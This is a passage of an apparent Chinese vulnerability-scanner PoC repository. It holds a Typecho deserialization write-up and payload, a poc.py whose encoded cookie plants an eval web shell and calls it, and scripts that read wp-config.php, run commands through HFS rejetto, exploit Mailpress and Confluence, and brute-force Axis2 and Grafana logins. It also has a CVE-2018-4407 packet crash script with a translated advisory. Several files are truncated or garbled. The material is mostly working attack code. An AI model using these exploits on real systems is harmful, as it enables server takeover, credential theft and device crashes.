160 | $result .= '' . self::EOL;
165 |
166 | $content = '';
167 | $lastUpdate = 0;
168 |
169 | foreach ($this->_items as $item) {
170 | $content .= '' . self::EOL;
171 | $content .= '' . self::EOL;
172 | $content .= '' . self::EOL;
173 | $content .= '' . $item['link'] . '' . self::EOL;
174 | $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
175 | $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL;
176 | $content .= '
177 | ' . $item['author']->screenName . '
178 | ' . $item['author']->url . '
179 | ' . self::EOL;
180 | ```
181 |
182 | 第358行`$item['author']`调用`screenName`属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发`__get()`魔术方法。
183 |
184 | 全局搜索`__get()`:
185 |
186 | 
187 |
188 | 发现了几处,最终确定`Typecho_Request`类存在可利用的地方
189 |
190 | `__get()`魔术方法调用`get()`方法,Request.php 293-309行:
191 |
192 | ```php
193 | public function get($key, $default = NULL)
194 | {
195 | switch (true) {
196 | case isset($this->_params[$key]):
197 | $value = $this->_params[$key];
198 | break;
199 | case isset(self::$_httpParams[$key]):
200 | $value = self::$_httpParams[$key];
201 | break;
202 | default:
203 | $value = $default;
204 | break;
205 | }
206 |
207 | $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
208 | return $this->_applyFilter($value);
209 | }
210 | ```
211 |
212 | 308行调用`_applyFilter()`方法,传入的`$value`是`$this->_params[$key]`的值,`$key`就是`screenName`。
213 |
214 | 跟进`_applyFilter()`,Request.php 159-171行:
215 |
216 | ```php
217 | private function _applyFilter($value)
218 | {
219 | if ($this->_filter) {
220 | foreach ($this->_filter as $filter) {
221 | $value = is_array($value) ? array_map($filter, $value) :
222 | call_user_func($filter, $value);
223 | }
224 |
225 | $this->_filter = array();
226 | }
227 |
228 | return $value;
229 | }
230 | ```
231 |
232 | 第163行`array_map`和164行`call_user_func`均可造成任意代码执行。
233 |
234 | ## 0x04 构造Payload
235 |
236 | Payload:exp.php
237 |
238 | ```php
239 | _items[] = $item;
249 | }
250 | }
251 |
252 | class Typecho_Request{
253 | private $_params = array('screenName'=>'file_put_contents(\'p0.php\', \'\')');
254 | private $_filter = array('assert');
255 | }
256 |
257 | $payload1 = new Typecho_Feed();
258 | $payload2 = new Typecho_Request();
259 | $payload1->addItem(array('author' => $payload2));
260 | $exp = array('adapter' => $payload1, 'prefix' => 'typecho');
261 | echo base64_encode(serialize($exp));
262 | ```
263 |
264 | ## 0x05 修补方法
265 |
266 | **删除install.php及install目录**
267 |
268 | **如有错误请指出**
269 |
270 | **著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。作者:p0链接:https://p0sec.net/index.php/archives/114/来源:https://p0sec.net/**
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkuc8v4qcoj312s080gna.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkuc8v4qcoj312s080gna.jpg
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkucepcg7hj30xk098765.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkucepcg7hj30xk098765.jpg
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkucxmf4tmj310y09u0uy.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkucxmf4tmj310y09u0uy.jpg
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkufkksc49j314m0aqq5k.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkufkksc49j314m0aqq5k.jpg
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkug5a04d3j31gu0kqgpg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/cms/typecho/typoecho_install_rce/assets/006tNbRwly1fkug5a04d3j31gu0kqgpg.jpg
--------------------------------------------------------------------------------
/cms/typecho/typoecho_install_rce/poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | '''
4 | name: typecho install.php反序列化命令执行
5 | referer: http://p0sec.net/index.php/archives/114/
6 | author: Lucifer
7 | description: 漏洞产生在install.php中,base64后的值被反序列化和实例化后发生命令执行。
8 | '''
9 | import HackRequests
10 |
11 |
12 | def poc(arg,**kwargs):
13 | headers = {
14 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
15 | "Cookie": "__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTY6ImZpbGVfcHV0X2NvbnRlbnRzKCdkYS5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbcHBdKTs/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9",
16 | "Referer": arg + "/install.php",
17 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
18 | "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
19 | "Accept-Encoding": "gzip, deflate",
20 | }
21 | vulnurl = arg + "/install.php?finish=1"
22 | hack = HackRequests.hackRequests()
23 | hack.http(vulnurl,headers = headers)
24 | shellpath = arg + "/da.php"
25 | post_data = {
26 | "pp": "phpinfo();"
27 | }
28 | hh = hack.http(shellpath,post=post_data)
29 | if r"Configuration File (php.ini) Path" in hh.text():
30 | result = {
31 | "name": "typecho install.php反序列化命令执行", # 插件名称
32 | "content": "漏洞产生在install.php中,base64后的值被反序列化和实例化后发生命令执行。", # 插件返回内容详情,会造成什么后果。
33 | "url": arg, # 漏洞存在url
34 | "log": hh.log,
35 | "tag": "code_eval" # 漏洞标签
36 | }
37 | return result
--------------------------------------------------------------------------------
/cms/wordpress/wordpress_admin_ajax_filedownload.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: wordpress admin-ajax.php任意文件下载
5 | referer: unknown
6 | author: Lucifer
7 | description: 文件admin-ajax.php中,参数img存在任意文件下载漏洞。
8 | '''
9 |
10 | import HackRequests
11 |
12 |
13 | def poc(arg, **kwargs):
14 | payload = "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"
15 | vulnurl = arg + payload
16 | try:
17 | hack = HackRequests.hackRequests()
18 | hh = hack.http(vulnurl)
19 |
20 | if r"DB_NAME" in hh.text():
21 | result = {
22 | "name": "wordpress file downloader", # 插件名称
23 | "content": "存在wordpress admin-ajax.php任意文件下载漏洞", # 插件返回内容详情,会造成什么后果。
24 | "url": vulnurl, # 漏洞存在url
25 | "log": hh.log,
26 | "tag": "任意下载" # 漏洞标签
27 | }
28 | return result
29 | except:
30 | pass
31 |
32 |
33 | if __name__ == "__main__":
34 | pass
--------------------------------------------------------------------------------
/cms/wordpress/wordpress_display_widgets_backdoor.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: wordpress display-widgets插件后门漏洞
5 | referer: http://www.nsfocus.com.cn/upload/contents/2017/09/20170915174457_73771.pdf
6 | author: Lucifer
7 | description: wordpress display-widgets Version 2.6.1——Version 2.6.3.1 geolocation.php存在后门。
8 | '''
9 |
10 | import HackRequests
11 |
12 |
13 | def poc(arg, **kwargs):
14 | payload = "/wp-content/plugins/display-widgets/geolocation.php"
15 |
16 | vulnurl = arg + payload
17 | try:
18 | hack = HackRequests.hackRequests()
19 | hh = hack.http(vulnurl)
20 |
21 | if hh.status_code == 200:
22 | result = {
23 | "name": "wordpress display-widgets插件后门", # 插件名称
24 | "content": "存在wordpress display-widgets插件后门漏洞", # 插件返回内容详情,会造成什么后果。
25 | "url": vulnurl, # 漏洞存在url
26 | "log": hh.log,
27 | "tag": "backdoor" # 漏洞标签
28 | }
29 | return result
30 | except:
31 | pass
32 |
33 |
34 | if __name__ == "__main__":
35 | pass
--------------------------------------------------------------------------------
/cms/wordpress/wordpress_plugin_mailpress_rce.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: wordpress 插件mailpress远程代码执行
5 | referer: http://0day5.com/archives/3960
6 | author: Lucifer
7 | description: Mailpress存在越权调用,在不登陆的情况下,可以调用系统某些方法,造成远程命令执行。
8 | '''
9 |
10 | import HackRequests
11 |
12 |
13 | def poc(arg, **kwargs):
14 | hack = HackRequests.hackRequests()
15 | headers = {
16 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
17 | }
18 | payload = "/wp-content/plugins/mailpress/mp-includes/action.php"
19 | vulnurl = arg + payload
20 | post_data = {
21 | "action": "autosave",
22 | "id": 0,
23 | "revision": -1,
24 | "toemail": "",
25 | "toname": "",
26 | "fromemail": "",
27 | "fromname": "",
28 | "to_list": 1,
29 | "Theme": "",
30 | "subject": "",
31 | "html": "",
32 | "plaintext": "",
33 | "mail_format": "standard",
34 | "autosave": 1,
35 | }
36 | try:
37 | hh = hack.http(vulnurl,post=post_data,headers=headers)
38 | start = hh.text().find(" 5:
14 | return False
15 | startTime = time.time()
16 | hh = HackRequests.http(url,post = post_data)
17 |
18 | if hh.status_code == 200 and time.time() - startTime > 5:
19 | result = {
20 | "name": "zzscms 8.2 sqli_inject", # 插件名称
21 | "content": "zzcms v8.2 /user/del.php 存在SQL Inject,referer:http://www.freebuf.com/vuls/161888.html", # 插件返回内容详情,会造成什么后果。
22 | "url": url, # 漏洞存在url
23 | "log": hh.log,
24 | "tag": "sqli" # 漏洞标签
25 | }
26 | return result
27 |
28 |
29 | if __name__ == "__main__":
30 | pass
--------------------------------------------------------------------------------
/common/www_common/directory_browse.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:目录浏览
3 |
4 | import HackRequests
5 | from urllib.parse import urlparse
6 |
7 |
8 | def poc(arg, **kwargs):
9 | URL = arg
10 | netloc = urlparse(arg).netloc
11 | flag_list = [
12 | "index of",
13 | "directory listing for",
14 | "{} - /".format(netloc)
15 | ]
16 | hack = HackRequests.hackRequests()
17 | url_list = [
18 | URL + "/css/", URL + "/js/", URL + "/img/", URL + "/images/", URL + "/upload/", URL + "/inc/"
19 | ]
20 | for u in url_list:
21 | hh = hack.http(u)
22 | if hh.status_code == 404:
23 | continue
24 | for i in flag_list:
25 | if i in hh.text():
26 | result = {
27 | "name": "web目录浏览", # 插件名称
28 | "content": "通过此功能可获取web目录程序结构", # 插件返回内容详情,会造成什么后果。
29 | "url": u, # 漏洞存在url
30 | "log": hh.log,
31 | "tag": "info_leak" # 漏洞标签
32 | }
33 | return False
34 |
--------------------------------------------------------------------------------
/hardware/apple/CVE-2018-4407/APPLE-RCE.md:
--------------------------------------------------------------------------------
1 | 来源:https://xz.aliyun.com/t/3115
2 |
3 | 原文:
4 |
5 | ## 文中有些链接需要科学上网,apple用户及时更新(想复现的另说)
6 |
7 | 这篇文章是关于我在Apple的XNU操作系统内核中发现的堆缓冲区溢出漏洞。我编写了一个exp验证漏洞,它可以在同一网络上重启任何Mac或iOS设备,无需任何用户交互。Apple已将此漏洞归类为内核中的远程执行代码漏洞,因为可能利用缓冲区溢出来执行内核中的任意代码。
8 |
9 | 以下操作系统版本和设备易受攻击:
10 |
11 | - Apple iOS 11及更早版本:所有设备(升级到iOS 12)
12 | - Apple macOS High Sierra,最高可达10.13.6:所有设备(在安全更新2018-001中打补丁)
13 | - Apple macOS Sierra,包括10.12.6:所有设备(在安全更新2018-005中打补丁)
14 | - Apple OS X El Capitan及更早版本:所有设备
15 | 我及时报告了Apple为修补[iOS 12](https://support.apple.com/en-gb/HT209106)(9月17日发布)和[macOS Mojave](https://support.apple.com/en-gb/HT209139)(9月24日发布)漏洞的漏洞。这两个补丁都是在10月30日回顾性宣布的。
16 |
17 | ## 严重程度和缓解措施
18 |
19 | 该漏洞是XNU操作系统内核中的网络代码中的堆缓冲区溢出。iOS和macOS都使用XNU,这就是iPhone,iPad和Macbook都受到影响的原因。要触发此漏洞,攻击者只需将恶意IP数据包发送到目标设备的IP地址即可。无需用户交互。攻击者只需要连接到与目标设备相同的网络。例如,如果您在咖啡店使用免费WiFi,则攻击者可以加入相同的WiFi网络并向您的设备发送恶意数据包。(如果攻击者与您在同一网络上,则他们很容易使用nmap发现您设备的IP地址。)更糟糕的是,该漏洞是网络代码的一个基本部分,反病毒软件无法保护您:我在运行着[McAfee®EndpointSecurity for Mac](https://www.mcafee.com/enterprise/en-us/products/endpoint-security.html)的Mac上测试了该漏洞,没有任何防护。您在设备上运行的软件也没有能力防护 - 即使您没有打开任何端口,恶意数据包仍会触发漏洞。
20 |
21 | 由于攻击者可以控制堆缓冲区溢出的大小和内容,因此他们可能利用此漏洞在您的设备上获得远程代码执行。我没有尝试编写能够做到这一点的漏洞。我的漏洞利用PoC只是用垃圾覆盖堆,导致立即内核崩溃和设备重启。
22 |
23 | 我知道针对此漏洞的两种缓解措施:
24 |
25 | - 在macOS防火墙中启用隐藏模式可防止攻击工作。感谢我的同事Henti Smith发现这一点,因为这是一个模糊的系统设置,默认情况下不启用。据我所知,iOS设备上不存在隐藏模式。
26 | - 不要使用公共WiFi网络。攻击者需要与目标设备位于同一网络中。通常不可能通过互联网发送恶意数据包。例如,我写了一个虚假的Web服务器,当目标设备尝试加载网页时,它会发回恶意回复。在我的实验中,恶意数据包永远不会到达,除非Web服务器与目标设备位于同一网络上。
27 |
28 | ## 验证exp
29 |
30 | 我编写了一个验证exp来触发漏洞。为了让Apple的用户有时间升级,我不会立即发布漏洞利用PoC的源代码。但是,我制作了一个[简短的视频](https://www.youtube.com/watch?v=aV7yEemjexk),显示PoC正在运行,导致本地网络上的所有Apple设备崩溃。
31 |
32 | ## 漏洞
33 |
34 | 该错误是这行代码中的缓冲区溢出([bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339)):
35 | `m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);`
36 | 此代码在函数中`[icmp_error](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L203-L208 "icmp_error")`。根据[结论](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L198-L201),此功能的目的是“生成错误数据包,以响应错误的数据包ip”。它使用ICMP协议发送错误消息。导致错误的分组的报头被包括在ICMP消息,所以呼叫的到目的m_copydata上线339是坏的分组的报头复制到ICMP消息。问题是标头可能对目标缓冲区来说太大了。目标缓冲区是`mbuf`。mbuf是一种数据类型,用于存储传入和传出的网络数据包。在此代码中,n是一个传入的数据包(包含不受信任的数据)和m是传出的ICMP数据包。我们很快就会看到,icp是一个指针m。m在第294行或第296行分配:
37 |
38 | ```
39 | if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
40 | m = m_gethdr(M_DONTWAIT, MT_HEADER); /* MAC-OK */
41 | else
42 | m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);
43 | ```
44 |
45 | 稍微向下,在第314行,mtod用于获取m数据指针:
46 | `icp = mtod(m, struct icmp *);`
47 | mtod只是宏,所以这行代码不会检查它mbuf是否足以容纳icmp结构。此外,数据不会复制到icp,而是复制到&icp->icmp_ip+8字节的偏移量icp。
48 |
49 | 我没有必要的工具来在调试器中单步执行XNU内核,所以我实际上对它的确切分配大小有点不确定mbuf。基于我在源代码中看到的,我认为m_gethdr创建一个mbuf可以容纳88个字节,但我不太确定m_getcl。根据实际实验,我发现在触发缓冲区溢出时icmplen >= 84。
50 |
51 | 在这个时候,我不会再谈论漏洞利用的工作原理了。我希望Apple用户有机会首先升级他们的设备。但是,在不久的将来,我将在[SecurityExploits](https://github.com/Semmle/SecurityExploits)存储库中发布漏洞利用PoC的源代码。
52 |
53 | ## 使用QL查找漏洞
54 |
55 | 我通过对导致数据包管理程序中的缓冲区溢出漏洞的错误进行变体分析,发现了此漏洞。该漏洞是由mbuf_copydata使用用户控制的大小参数调用引起的。所以我写了一个简单的查询来寻找类似的bug:
56 |
57 | ```
58 | **
59 | * @name mbuf copydata with tainted size
60 | * @description Calling m_copydata with an untrusted size argument
61 | * could cause a buffer overflow.
62 | * @kind path-problem
63 | * @problem.severity warning
64 | * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
65 | */
66 |
67 | import cpp
68 | import semmle.code.cpp.dataflow.TaintTracking
69 | import DataFlow::PathGraph
70 |
71 | class Config extends TaintTracking::Configuration {
72 | Config() { this = "tcphdr_flow" }
73 |
74 | override predicate isSource(DataFlow::Node source) {
75 | source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
76 | }
77 |
78 | override predicate isSink(DataFlow::Node sink) {
79 | exists (FunctionCall call
80 | | call.getArgument(2) = sink.asExpr() and
81 | call.getTarget().getName().matches("%copydata"))
82 | }
83 | }
84 |
85 | from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
86 | where cfg.hasFlowPath(source, sink)
87 | select sink, source, sink, "m_copydata with tainted size."
88 | ```
89 |
90 | 这是一个简单的污点跟踪查询,它查找从`m_mtod“copydata”`函数的参数大小到数据流。名为的函数`m_mtod`返回mbuf的数据指针,因此它很可能会返回不受信任的数据。这是mtod宏扩展到的。显然,`m_mtod`这只是XNU内核中不受信任数据的众多来源之一,但我没有包含任何其他来源以使查询尽可能简单。此查询返回9个结果,其中第一个是漏洞`icmp_error`。我相信其他8个结果都是误报,但代码足够复杂,我认为它们是错误的查询结果。
91 |
92 | ## 在XNU上尝试QL
93 |
94 | 与大多数其他开源项目不同,XNU无法在LGTM上查询。这是因为LGTM使用Linux工作程序来构建项目,但XNU只能在Mac上构建。即使在Mac上,XNU也非常容易构建。如果我没有找到杰里米·安德鲁斯这篇非常有用的[博客文章](https://kernelshaman.blogspot.com/2018/01/building-xnu-for-macos-high-sierra-1013.html),我就无法做到。使用Jeremy Andrus的说明和脚本,我为三个最新发布的XNU版本手动构建了快照。:您可以从这些链接下载快照10.13.4,10.13.5,10.13.6。不幸的是,Apple尚未发布10.14(Mojave / iOS 12)的源代码,因此我无法创建QL快照来运行针对它的查询。要在这些QL快照上运行查询,您需要下载[QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/installation.html)。可以在[此处](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/home-page.html)找到有关如何使用QL for Eclipse的说明。
95 |
96 | ## 时间线
97 |
98 | - 2018-08-09:私下向product-security@apple.com披露。包括概念验证漏洞利用。
99 | - 2018-08-09:报告被product-security@apple.com承认。
100 | - 2018-08-20:product-security@apple.com让我向他们发送确切的macOS版本号和日志。
101 | - 2018-08-20:将所需信息返回至product-security@apple.com。还向他们发送了一个略微改进的漏洞- PoC版本。
102 | - 2018-08-22:product-security@apple.com确认该问题已在macOS Mojave和iOS 12的测试版中得到修复。但是,他们还表示他们正在“调查在其他平台上解决此问题”并且他们将直到2018年11月才公布此问题。
103 | - 2018-09-17:Apple发布iOS 12。该漏洞已得到修复。
104 | - 2018-09-24:macOS Mojave由Apple发布。该漏洞已得到修复。
105 | - 2018-10-30:公布漏洞。
106 |
107 | 附上python exp
108 |
109 | ```python
110 | # CVE-2018-4407 ICMP DOS
111 | # https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
112 | # from https://twitter.com/ihackbanme
113 | import sys
114 | try:
115 | from scapy.all import *
116 | except Exception as e:
117 | print ("[*] You need install scapy first:\n[*] sudo pip install scapy ")
118 | if __name__ == '__main__':
119 | try:
120 | check_ip = sys.argv[1]
121 | print ("[*] !!!!!!Dangerous operation!!!!!!")
122 | print ("[*] Trying CVE-2018-4407 ICMP DOS " + check_ip)
123 | for i in range(8,20):
124 | send(IP(dst=check_ip,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
125 | print ("[*] Check Over!! ")
126 | except Exception as e:
127 | print "[*] usage: sudo python check_icmp_dos.py 127.0.0.1"
128 | //有些缩进要调一调
129 | ```
130 |
131 |
--------------------------------------------------------------------------------
/hardware/apple/CVE-2018-4407/CVE-2018-4407.py:
--------------------------------------------------------------------------------
1 | # CVE-2018-4407 ICMP DOS
2 | # https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
3 | # from https://twitter.com/ihackbanme
4 | import sys
5 | try:
6 | from scapy.all import *
7 | except Exception as e:
8 | print ("[*] You need install scapy first:\n[*] sudo pip install scapy ")
9 | exit()
10 |
11 | def poc(arg, **kwargs):
12 | host = arg
13 | if kwargs.get("ip",None):
14 | host = kwargs.get("ip")
15 | for i in range(8,20):
16 | send(IP(dst=host,options=[IPOption("A"*i)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))
--------------------------------------------------------------------------------
/system/axis/axis_weak_pass.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Axis2控制台 弱口令
3 | import HackRequests
4 |
5 |
6 | def poc(arg, **kwargs):
7 | users = ["axis", "admin", "root"]
8 | passwods = ["{user}"]
9 | hack = HackRequests.hackRequests()
10 | succ = ["Administration Page", "System Components", "axis2-admin/upload",
11 | 'include page="footer.inc">', "axis2-admin/logout"]
12 | for user in users:
13 | for passw in passwods:
14 | passw = passw.replace("{user}", user)
15 | url = arg + "/axis2/axis2-admin/login"
16 | data = "userName={0}&password={1}&submit=+Login+".format(
17 | user, passw)
18 | hh = hack.http(url, post=data)
19 | if hh.status_code == 200:
20 | text = hh.text()
21 | for s in succ:
22 | if s in text:
23 | result = {
24 | "name": "Axis2控制台 弱口令", # 插件名称
25 | "content": "攻击者通过此漏洞可以登陆管理控制台,通过部署功能可直接获取服务器权限", # 插件返回内容详情,会造成什么后果。
26 | "url": url, # 漏洞存在url
27 | "username": user,
28 | "password": passw,
29 | "log": hh.log,
30 | "tag": "info_leak" # 漏洞标签
31 | }
32 | return result
33 | return False
34 |
35 |
36 | if __name__ == "__main__":
37 | pass
38 |
--------------------------------------------------------------------------------
/system/confluence/CVE-2019-3396.py:
--------------------------------------------------------------------------------
1 | # Author:w7ay
2 | # Refer:https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py
3 | import HackRequests
4 |
5 | def poc(arg, **kwargs):
6 | headers = '''
7 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
8 | Referer: {}/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
9 | Content-Type: application/json; charset=utf-8
10 | '''.format(arg)
11 | filename = "../web.xml"
12 | data = '{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
13 | hh = HackRequests.http(url = arg + "/rest/tinymce/1/macro/preview",post = data,headers = headers)
14 | if hh.status_code == 200 and "" in hh.text():
15 | desc = '''2019 年 3 月 28 日,Confluence 官方发布预警 ,指出 Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击 者能利用此漏洞能够实现目录穿越与远程代码执行,同时该漏洞被赋予编号 CVE2019-3396。'''
16 | result = {
17 | "name": "Confluence Widget Connector path traversal (CVE-2019-3396)", # 插件名称
18 | "content": desc, # 插件返回内容详情,会造成什么后果。
19 | "url": arg, # 漏洞存在url
20 | "log": hh.log,
21 | "tag": "path traversal" # 漏洞标签
22 | }
23 | return result
24 |
25 |
26 | if __name__ == "__main__":
27 | pass
--------------------------------------------------------------------------------
/system/coremail/coremail_read.py:
--------------------------------------------------------------------------------
1 | # -*- Coding: utf-8 -*-
2 | # Author: Vulkey_Chen
3 | # Email: gh0stkey@hi-ourlife.com
4 | # Website: www.hi-ourlife.com
5 | # About: mailsms config dump PoC
6 | import HackRequests
7 |
8 |
9 | def poc(arg, **kwargs):
10 | url = arg + "/mailsms/s?func=ADMIN:appState&dumpConfig=/"
11 | hack = HackRequests.hackRequests()
12 | hh = hack.http(url)
13 | if hh.status_code != 404 and '/home/coremail' in hh.text:
14 | return {
15 | "name": "Coremail mailsms接口配置存在读取漏洞",
16 | "content": "通过配置接口能够获取系统核心配置功能",
17 | "url": url,
18 | "log": hh.log,
19 | "tag": "file leak"
20 | }
21 |
--------------------------------------------------------------------------------
/system/ftp/ftp_weak_pass.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:FTP 弱口令
3 |
4 | import HackRequests
5 | from urllib.parse import urlparse
6 |
7 |
8 | def poc(arg, **kwargs):
9 | userlist = ["root","admin","www","ftp"]
10 |
11 | result = {
12 | "name": "web目录浏览", # 插件名称
13 | "content": "通过此功能可获取web目录程序结构", # 插件返回内容详情,会造成什么后果。
14 | "url": "", # 漏洞存在url
15 | "log": "",
16 | "tag": "info_leak" # 漏洞标签
17 | }
18 | return False
19 |
--------------------------------------------------------------------------------
/system/grafana/gtafana_weak.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:grafana 控制台弱口令
3 |
4 | import HackRequests
5 | from urllib.parse import urlparse
6 |
7 |
8 | def poc(arg, **kwargs):
9 | user_list = ["root", "admin"]
10 | pass_list = ["admin", "{user}"]
11 | hack = HackRequests.hackRequests()
12 | for user in user_list:
13 | for p in pass_list:
14 | p = p.replace("{user}", user)
15 | login_data = "{\"user\":\"%s\",\"email\":\"\",\"password\":\"%s\"}" % (
16 | user, p)
17 | hh = hack.http(arg + "/login", post=login_data)
18 | if "Logged in" in hh.text():
19 | result = {
20 | "name": "grafana 控制台弱口令", # 插件名称
21 | # 插件返回内容详情,会造成什么后果。
22 | "content": "user:{} password:{}".format(user, p),
23 | "url": arg + "/login", # 漏洞存在url
24 | "log": hh.log,
25 | "tag": "info_leak" # 漏洞标签
26 | }
27 | return False
28 |
--------------------------------------------------------------------------------
/system/hfs/hfs.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: hfs rejetto 远程代码执行
5 | referer: https://www.seebug.org/vuldb/ssvid-87319
6 | author: Lucifer
7 | description: search引起的命令执行。
8 | '''
9 |
10 |
11 | import HackRequests
12 |
13 | def poc(arg, **kwargs):
14 | payload = "/?search==%00{.exec|cmd.exe /c del res.}{.exec|cmd.exe /c echo>res 123456test.}"
15 | vulnurl = arg + payload
16 | hack = HackRequests.hackRequests()
17 | hh = hack.http(vulnurl)
18 | cookie = hh.cookies
19 | checkurl = arg + "/?search==%00{.cookie|out|value={.load|res.}.}"
20 | req = hack.http(vulnurl, cookie = cookie)
21 | if "123456test" in req.cookie:
22 | result = {
23 | "name": "hfs rejetto", # 插件名称
24 | "content": "存在hfs rejetto 远程代码执行漏洞", # 插件返回内容详情,会造成什么后果。
25 | "url": arg, # 漏洞存在url
26 | "log": req.log,
27 | "tag": "remote" # 漏洞标签
28 | }
29 | return result
30 |
31 |
32 |
33 |
34 | if __name__ == "__main__":
35 | pass
--------------------------------------------------------------------------------
/system/iis/iis_ms15034_httpsys_rce.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: ms15_034 http.sys远程代码执行(CVE-2015-1635)
5 | referer: http://www.myhack58.com/Article/html/3/62/2015/61431.htm
6 | author: Lucifer
7 | description: 利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃,一定条件下可导致远程代码执行。
8 | '''
9 |
10 |
11 | import HackRequests
12 |
13 | def poc(arg, **kwargs):
14 | hack = HackRequests.hackRequests()
15 | hh = hack.http(arg, headers={"Range": "bytes=0-18446744073709551615"})
16 | if "Requested Range Not Satisfiable" in hh.text() and "nginx" not in hh.header:
17 | result = {
18 | "name": "ms15_034", # 插件名称
19 | "content": "ms15_034 http.sys远程代码执行(CVE-2015-1635),攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃,一定条件下可导致远程代码执行", # 插件返回内容详情,会造成什么后果。
